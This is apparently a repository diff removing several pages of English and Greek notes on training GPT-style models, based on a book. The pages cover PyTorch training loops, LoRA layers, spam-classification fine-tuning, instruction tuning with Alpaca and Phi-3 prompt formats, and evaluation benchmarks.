- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample`
- The start context: Which the starting sentence to use when calling `generate_and_print_sample`
- The tokenizer
```python
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval() # Set in eval mode to avoid dropout
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train() # Back to training model applying all the configurations
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval() # Set in eval mode to avoid dropout
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train() # Back to training model applying all the configurations
```
> [!NOTE]
> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.**
>
> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\
> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases.
>
> _Note that these improvements aren't included in the previous code._
### Start training
```python
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
```
### Print training evolution
With the following function it's possible to print the evolution of the model while it was being trained.
```python
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
```
### Save the model
It's possible to save the model + optimizer if you want to continue training later:
```python
# Save the model and the optimizer for later training
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
# Note that this model with the optimizer occupied close to 2GB
# Restore model and optimizer for training
checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device)
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(checkpoint["model_state_dict"])
optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
model.train(); # Put in training mode
```
Or just the model if you are planing just on using it:
```python
# Save the model
torch.save(model.state_dict(), "model.pth")
# Load it
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(torch.load("model.pth", map_location=device))
model.eval() # Put in eval mode
```
## Loading GPT2 weights
There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then:
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you"
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,61 +0,0 @@
# 7.0. Βελτιώσεις LoRA στην προσαρμογή
## Βελτιώσεις LoRA
> [!TIP]
> Η χρήση του **LoRA μειώνει πολύ τους υπολογισμούς** που απαιτούνται για να **προσαρμόσετε** ήδη εκπαιδευμένα μοντέλα.
Το LoRA καθιστά δυνατή την αποτελεσματική προσαρμογή **μεγάλων μοντέλων** αλλάζοντας μόνο ένα **μικρό μέρος** του μοντέλου. Μειώνει τον αριθμό των παραμέτρων που χρειάζεται να εκπαιδεύσετε, εξοικονομώντας **μνήμη** και **υπολογιστικούς πόρους**. Αυτό συμβαίνει επειδή:
1. **Μειώνει τον Αριθμό των Εκπαιδεύσιμων Παραμέτρων**: Αντί να ενημερώνει ολόκληρη τη μήτρα βαρών στο μοντέλο, το LoRA **χωρίζει** τη μήτρα βαρών σε δύο μικρότερες μήτρες (που ονομάζονται **A** και **B**). Αυτό καθιστά την εκπαίδευση **ταχύτερη** και απαιτεί **λιγότερη μνήμη** επειδή λιγότερες παράμετροι χρειάζεται να ενημερωθούν.
1. Αυτό συμβαίνει επειδή αντί να υπολογίζει την πλήρη ενημέρωση βαρών ενός επιπέδου (μήτρα), την προσεγγίζει ως προϊόν 2 μικρότερων μητρών μειώνοντας την ενημέρωση για υπολογισμό:\
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **Διατηρεί τους Αρχικούς Βάρη του Μοντέλου Αμετάβλητους**: Το LoRA σας επιτρέπει να διατηρείτε τους αρχικούς βάρους του μοντέλου ίδιους και να ενημερώνετε μόνο τις **νέες μικρές μήτρες** (A και B). Αυτό είναι χρήσιμο γιατί σημαίνει ότι η αρχική γνώση του μοντέλου διατηρείται και απλώς προσαρμόζετε ό,τι είναι απαραίτητο.
3. **Αποτελεσματική Προσαρμογή σε Συγκεκριμένες Εργασίες**: Όταν θέλετε να προσαρμόσετε το μοντέλο σε μια **νέα εργασία**, μπορείτε απλώς να εκπαιδεύσετε τις **μικρές μήτρες LoRA** (A και B) αφήνοντας το υπόλοιπο του μοντέλου όπως είναι. Αυτό είναι **πολύ πιο αποτελεσματικό** από το να εκπαιδεύσετε ξανά ολόκληρο το μοντέλο.
4. **Αποτελεσματικότητα Αποθήκευσης**: Μετά την προσαρμογή, αντί να αποθηκεύετε ένα **εντελώς νέο μοντέλο** για κάθε εργασία, χρειάζεται μόνο να αποθηκεύσετε τις **μήτρες LoRA**, οι οποίες είναι πολύ μικρές σε σύγκριση με το ολόκληρο μοντέλο. Αυτό διευκολύνει την προσαρμογή του μοντέλου σε πολλές εργασίες χωρίς να χρησιμοποιείτε υπερβολικό χώρο αποθήκευσης.
Για να υλοποιήσετε τα LoraLayers αντί για τα γραμμικά κατά τη διάρκεια μιας προσαρμογής, προτείνεται ο παρακάτω κώδικας [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
```python
import math
# Create the LoRA layer with the 2 matrices and the alpha
class LoRALayer(torch.nn.Module):
def __init__(self, in_dim, out_dim, rank, alpha):
super().__init__()
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
self.alpha = alpha
def forward(self, x):
x = self.alpha * (x @ self.A @ self.B)
return x
# Combine it with the linear layer
class LinearWithLoRA(torch.nn.Module):
def __init__(self, linear, rank, alpha):
super().__init__()
self.linear = linear
self.lora = LoRALayer(
linear.in_features, linear.out_features, rank, alpha
)
def forward(self, x):
return self.linear(x) + self.lora(x)
# Replace linear layers with LoRA ones
def replace_linear_with_lora(model, rank, alpha):
for name, module in model.named_children():
if isinstance(module, torch.nn.Linear):
# Replace the Linear layer with LinearWithLoRA
setattr(model, name, LinearWithLoRA(module, rank, alpha))
else:
# Recursively apply the same function to child modules
replace_linear_with_lora(module, rank, alpha)
```
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,117 +0,0 @@
# 7.1. Fine-Tuning for Classification
## What is
Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch.
> [!NOTE]
> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform.
> [!TIP]
> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not).
## Preparing the data set
### Data set size
Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation.
- This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one.
- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications.
### Entries length
As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
### Initialize the model
Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it.
## Classification head
In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
```python
# This code modified the final layer with a Linear one with 2 outs
num_classes = 2
model.out_head = torch.nn.Linear(
in_features=BASE_CONFIG["emb_dim"],
out_features=num_classes
)
```
## Parameters to tune
In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
```python
# This code makes all the parameters of the model unrtainable
for param in model.parameters():
param.requires_grad = False
# Allow to fine tune the last layer in the transformer block
for param in model.trf_blocks[-1].parameters():
param.requires_grad = True
# Allow to fine tune the final layer norm
for param in model.final_norm.parameters():
param.requires_grad = True
```
## Entries to use for training
In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
```python
def calc_accuracy_loader(data_loader, model, device, num_batches=None):
model.eval()
correct_predictions, num_examples = 0, 0
if num_batches is None:
num_batches = len(data_loader)
else:
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
with torch.no_grad():
logits = model(input_batch)[:, -1, :] # Logits of last output token
predicted_labels = torch.argmax(logits, dim=-1)
num_examples += predicted_labels.shape[0]
correct_predictions += (predicted_labels == target_batch).sum().item()
else:
break
return correct_predictions / num_examples
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)[:, -1, :] # Logits of last output token
loss = torch.nn.functional.cross_entropy(logits, target_batch)
return loss
```
Note how for each batch we are only interested in the **logits of the last token predicted**.
## Complete GPT2 fine-tune classification code
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,100 +0,0 @@
# 7.2. Λεπτομερής Ρύθμιση για να ακολουθεί οδηγίες
> [!TIP]
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να **ρυθμίσετε λεπτομερώς ένα ήδη προεκπαιδευμένο μοντέλο για να ακολουθεί οδηγίες** αντί να παράγει απλώς κείμενο, για παράδειγμα, απαντώντας σε εργασίες ως chatbot.
## Dataset
Για να ρυθμίσετε λεπτομερώς ένα LLM για να ακολουθεί οδηγίες, είναι απαραίτητο να έχετε ένα dataset με οδηγίες και απαντήσεις για να ρυθμίσετε το LLM. Υπάρχουν διάφορες μορφές για να εκπαιδεύσετε ένα LLM να ακολουθεί οδηγίες, για παράδειγμα:
- Το παράδειγμα στυλ προτροπής Apply Alpaca:
```csharp
Below is an instruction that describes a task. Write a response that appropriately completes the request.
### Instruction:
Calculate the area of a circle with a radius of 5 units.
### Response:
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
```
- Παράδειγμα Στυλ Προτροπής Phi-3:
```vbnet
<|User|>
Can you explain what gravity is in simple terms?
<|Assistant|>
Absolutely! Gravity is a force that pulls objects toward each other.
```
Η εκπαίδευση ενός LLM με αυτούς τους τύπους συνόλων δεδομένων αντί για απλό κείμενο βοηθά το LLM να κατανοήσει ότι πρέπει να δίνει συγκεκριμένες απαντήσεις στις ερωτήσεις που λαμβάνει.
Επομένως, ένα από τα πρώτα πράγματα που πρέπει να κάνετε με ένα σύνολο δεδομένων που περιέχει αιτήματα και απαντήσεις είναι να μοντελοποιήσετε αυτά τα δεδομένα στη επιθυμητή μορφή προτροπής, όπως:
```python
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
def format_input(entry):
instruction_text = (
f"Below is an instruction that describes a task. "
f"Write a response that appropriately completes the request."
f"\n\n### Instruction:\n{entry['instruction']}"
)
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
return instruction_text + input_text
model_input = format_input(data[50])
desired_response = f"\n\n### Response:\n{data[50]['output']}"
print(model_input + desired_response)
```
Στη συνέχεια, όπως πάντα, είναι απαραίτητο να διαχωρίσουμε το σύνολο δεδομένων σε σύνολα για εκπαίδευση, επικύρωση και δοκιμή.
## Batching & Data Loaders
Στη συνέχεια, είναι απαραίτητο να ομαδοποιήσουμε όλες τις εισόδους και τις αναμενόμενες εξόδους για την εκπαίδευση. Για αυτό, είναι απαραίτητο να:
- Tokenize τα κείμενα
- Pad όλα τα δείγματα στην ίδια μήκος (συνήθως το μήκος θα είναι όσο μεγαλύτερο όσο το μήκος του πλαισίου που χρησιμοποιήθηκε για την προεκπαίδευση του LLM)
- Δημιουργήσουμε τους αναμενόμενους tokens μετατοπίζοντας 1 την είσοδο σε μια προσαρμοσμένη συνάρτηση collate
- Αντικαταστήσουμε μερικούς tokens padding με -100 για να τους αποκλείσουμε από την απώλεια εκπαίδευσης: Μετά τον πρώτο `endoftext` token, αντικαταστήστε όλους τους άλλους `endoftext` tokens με -100 (διότι η χρήση `cross_entropy(...,ignore_index=-100)` σημαίνει ότι θα αγνοήσει τους στόχους με -100)
- \[Προαιρετικό\] Μάσκα χρησιμοποιώντας -100 επίσης όλους τους tokens που ανήκουν στην ερώτηση ώστε το LLM να μάθει μόνο πώς να παράγει την απάντηση. Στο στυλ Apply Alpaca αυτό θα σημαίνει να μάσκαρετε τα πάντα μέχρι `### Response:`
Με αυτό δημιουργημένο, είναι ώρα να δημιουργήσουμε τους data loaders για κάθε σύνολο δεδομένων (εκπαίδευση, επικύρωση και δοκιμή).
## Load pre-trained LLM & Fine tune & Loss Checking
Είναι απαραίτητο να φορτώσουμε ένα προεκπαιδευμένο LLM για να το προσαρμόσουμε. Αυτό έχει ήδη συζητηθεί σε άλλες σελίδες. Στη συνέχεια, είναι δυνατό να χρησιμοποιήσουμε τη συνάρτηση εκπαίδευσης που χρησιμοποιήθηκε προηγουμένως για να προσαρμόσουμε το LLM.
Κατά τη διάρκεια της εκπαίδευσης είναι επίσης δυνατό να δούμε πώς η απώλεια εκπαίδευσης και η απώλεια επικύρωσης ποικίλλουν κατά τη διάρκεια των εποχών για να δούμε αν η απώλεια μειώνεται και αν συμβαίνει υπερβολική προσαρμογή.\
Θυμηθείτε ότι η υπερβολική προσαρμογή συμβαίνει όταν η απώλεια εκπαίδευσης μειώνεται αλλά η απώλεια επικύρωσης δεν μειώνεται ή ακόμη και αυξάνεται. Για να το αποφύγουμε, το πιο απλό πράγμα που πρέπει να κάνουμε είναι να σταματήσουμε την εκπαίδευση στην εποχή όπου αρχίζει αυτή η συμπεριφορά.
## Response Quality
Καθώς αυτό δεν είναι μια προσαρμογή ταξινόμησης όπου είναι δυνατόν να εμπιστευτούμε περισσότερο τις μεταβολές της απώλειας, είναι επίσης σημαντικό να ελέγξουμε την ποιότητα των απαντήσεων στο σύνολο δοκιμών. Επομένως, συνιστάται να συγκεντρώσουμε τις παραγόμενες απαντήσεις από όλα τα σύνολα δοκιμών και **να ελέγξουμε την ποιότητά τους χειροκίνητα** για να δούμε αν υπάρχουν λανθασμένες απαντήσεις (σημειώστε ότι είναι δυνατόν για το LLM να δημιουργήσει σωστά τη μορφή και τη σύνταξη της πρότασης απάντησης αλλά να δώσει μια εντελώς λανθασμένη απάντηση. Η μεταβολή της απώλειας δεν θα αντικατοπτρίζει αυτή τη συμπεριφορά).\
Σημειώστε ότι είναι επίσης δυνατό να πραγματοποιηθεί αυτή η ανασκόπηση περνώντας τις παραγόμενες απαντήσεις και τις αναμενόμενες απαντήσεις σε **άλλα LLMs και να τους ζητήσουμε να αξιολογήσουν τις απαντήσεις**.
Άλλες δοκιμές που πρέπει να εκτελούνται για να επαληθευτεί η ποιότητα των απαντήσεων:
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** Το MMLU αξιολογεί τις γνώσεις και τις ικανότητες επίλυσης προβλημάτων ενός μοντέλου σε 57 θέματα, συμπεριλαμβανομένων των ανθρωπιστικών επιστημών, των επιστημών και άλλων. Χρησιμοποιεί ερωτήσεις πολλαπλής επιλογής για να αξιολογήσει την κατανόηση σε διάφορα επίπεδα δυσκολίας, από στοιχειώδη έως προχωρημένα επαγγελματικά.
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Αυτή η πλατφόρμα επιτρέπει στους χρήστες να συγκρίνουν τις απαντήσεις από διαφορετικούς chatbots δίπλα-δίπλα. Οι χρήστες εισάγουν μια προτροπή και πολλαπλά chatbots παράγουν απαντήσεις που μπορούν να συγκριθούν άμεσα.
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** Το AlpacaEval είναι ένα αυτοματοποιημένο πλαίσιο αξιολόγησης όπου ένα προηγμένο LLM όπως το GPT-4 αξιολογεί τις απαντήσεις άλλων μοντέλων σε διάφορες προτροπές.
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** Το GLUE είναι μια συλλογή εννέα εργασιών κατανόησης φυσικής γλώσσας, συμπεριλαμβανομένης της ανάλυσης συναισθήματος, της κειμενικής συνεπαγωγής και της απάντησης σε ερωτήσεις.
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Βασισμένο στο GLUE, το SuperGLUE περιλαμβάνει πιο απαιτητικές εργασίες σχεδιασμένες να είναι δύσκολες για τα τρέχοντα μοντέλα.
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** Το BIG-bench είναι ένα μεγάλης κλίμακας benchmark με πάνω από 200 εργασίες που δοκιμάζουν τις ικανότητες ενός μοντέλου σε τομείς όπως η λογική, η μετάφραση και η απάντηση σε ερωτήσεις.
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** Το HELM παρέχει μια ολοκληρωμένη αξιολόγηση σε διάφορους δείκτες όπως η ακρίβεια, η ανθεκτικότητα και η δικαιοσύνη.
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Ένα ανοιχτού κώδικα πλαίσιο αξιολόγησης από την OpenAI που επιτρέπει τη δοκιμή AI μοντέλων σε προσαρμοσμένες και τυποποιημένες εργασίες.
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Μια συλλογή προγραμματιστικών προβλημάτων που χρησιμοποιούνται για την αξιολόγηση των ικανοτήτων παραγωγής κώδικα των γλωσσικών μοντέλων.
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** Το SQuAD αποτελείται από ερωτήσεις σχετικά με άρθρα της Wikipedia, όπου τα μοντέλα πρέπει να κατανοήσουν το κείμενο για να απαντήσουν με ακρίβεια.
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Ένα μεγάλης κλίμακας σύνολο δεδομένων ερωτήσεων και απαντήσεων trivia, μαζί με έγγραφα αποδείξεων.
και πολλά άλλα
## Follow instructions fine-tuning code
Μπορείτε να βρείτε ένα παράδειγμα του κώδικα για να εκτελέσετε αυτή την προσαρμογή στο [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,98 +0,0 @@
# LLM Training - Data Preparation
**Αυτές είναι οι σημειώσεις μου από το πολύ συνιστώμενο βιβλίο** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **με κάποιες επιπλέον πληροφορίες.**
## Basic Information
Πρέπει να ξεκινήσετε διαβάζοντας αυτή την ανάρτηση για κάποιες βασικές έννοιες που πρέπει να γνωρίζετε:
{{#ref}}
0.-basic-llm-concepts.md
{{#endref}}
## 1. Tokenization
> [!TIP]
> Ο στόχος αυτής της αρχικής φάσης είναι πολύ απλός: **Διαιρέστε την είσοδο σε tokens (ids) με κάποιον τρόπο που έχει νόημα**.
{{#ref}}
1.-tokenizing.md
{{#endref}}
## 2. Data Sampling
> [!TIP]
> Ο στόχος αυτής της δεύτερης φάσης είναι πολύ απλός: **Δειγματοληψία των δεδομένων εισόδου και προετοιμασία τους για τη φάση εκπαίδευσης, συνήθως διαχωρίζοντας το σύνολο δεδομένων σε προτάσεις συγκεκριμένου μήκους και δημιουργώντας επίσης την αναμενόμενη απάντηση.**
{{#ref}}
2.-data-sampling.md
{{#endref}}
## 3. Token Embeddings
> [!TIP]
> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τα προηγούμενα tokens στο λεξιλόγιο ένα διάνυσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα είναι ένα σημείο σε έναν χώρο X διαστάσεων.\
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στον χώρο είναι απλώς "τυχαία" και αυτές οι θέσεις είναι παραμέτροι που μπορούν να εκπαιδευτούν (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
>
> Επιπλέον, κατά τη διάρκεια της ενσωμάτωσης tokens **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτεινόμενη πρόταση εκπαίδευσης**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
{{#ref}}
3.-token-embeddings.md
{{#endref}}
## 4. Attention Mechanisms
> [!TIP]
> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε κάποιους μηχανισμούς προσοχής**. Αυτοί θα είναι πολλά **επανειλημμένα επίπεδα** που θα **καταγράφουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\
> Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλές παράμετροι που μπορούν να εκπαιδευτούν θα καταγράφουν αυτές τις πληροφορίες.
{{#ref}}
4.-attention-mechanisms.md
{{#endref}}
## 5. LLM Architecture
> [!TIP]
> Ο στόχος αυτής της πέμπτης φάσης είναι πολύ απλός: **Αναπτύξτε την αρχιτεκτονική του πλήρους LLM**. Συνδυάστε τα πάντα, εφαρμόστε όλα τα επίπεδα και δημιουργήστε όλες τις λειτουργίες για να παράγετε κείμενο ή να μετατρέπετε κείμενο σε IDs και αντίστροφα.
>
> Αυτή η αρχιτεκτονική θα χρησιμοποιηθεί τόσο για την εκπαίδευση όσο και για την πρόβλεψη κειμένου μετά την εκπαίδευση.
{{#ref}}
5.-llm-architecture.md
{{#endref}}
## 6. Pre-training & Loading models
> [!TIP]
> Ο στόχος αυτής της έκτης φάσης είναι πολύ απλός: **Εκπαιδεύστε το μοντέλο από την αρχή**. Για αυτό θα χρησιμοποιηθεί η προηγούμενη αρχιτεκτονική LLM με κάποιους βρόχους που θα διατρέχουν τα σύνολα δεδομένων χρησιμοποιώντας τις καθορισμένες συναρτήσεις απώλειας και τον βελτιστοποιητή για να εκπαιδεύσουν όλες τις παραμέτρους του μοντέλου.
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
## 7.0. LoRA Improvements in fine-tuning
> [!TIP]
> Η χρήση του **LoRA μειώνει πολύ την υπολογιστική ισχύ** που απαιτείται για να **βελτιώσετε** ήδη εκπαιδευμένα μοντέλα.
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
## 7.1. Fine-Tuning for Classification
> [!TIP]
> Ο στόχος αυτής της ενότητας είναι να δείξει πώς να βελτιώσετε ένα ήδη προεκπαιδευμένο μοντέλο έτσι ώστε αντί να παράγει νέο κείμενο, το LLM να επιλέγει να δώσει τις **πιθανότητες του δεδομένου κειμένου να κατηγοριοποιηθεί σε κάθε μία από τις δεδομένες κατηγορίες** (όπως αν ένα κείμενο είναι spam ή όχι).
{{#ref}}
7.1.-fine-tuning-for-classification.md
{{#endref}}
## 7.2. Fine-Tuning to follow instructions
> [!TIP]
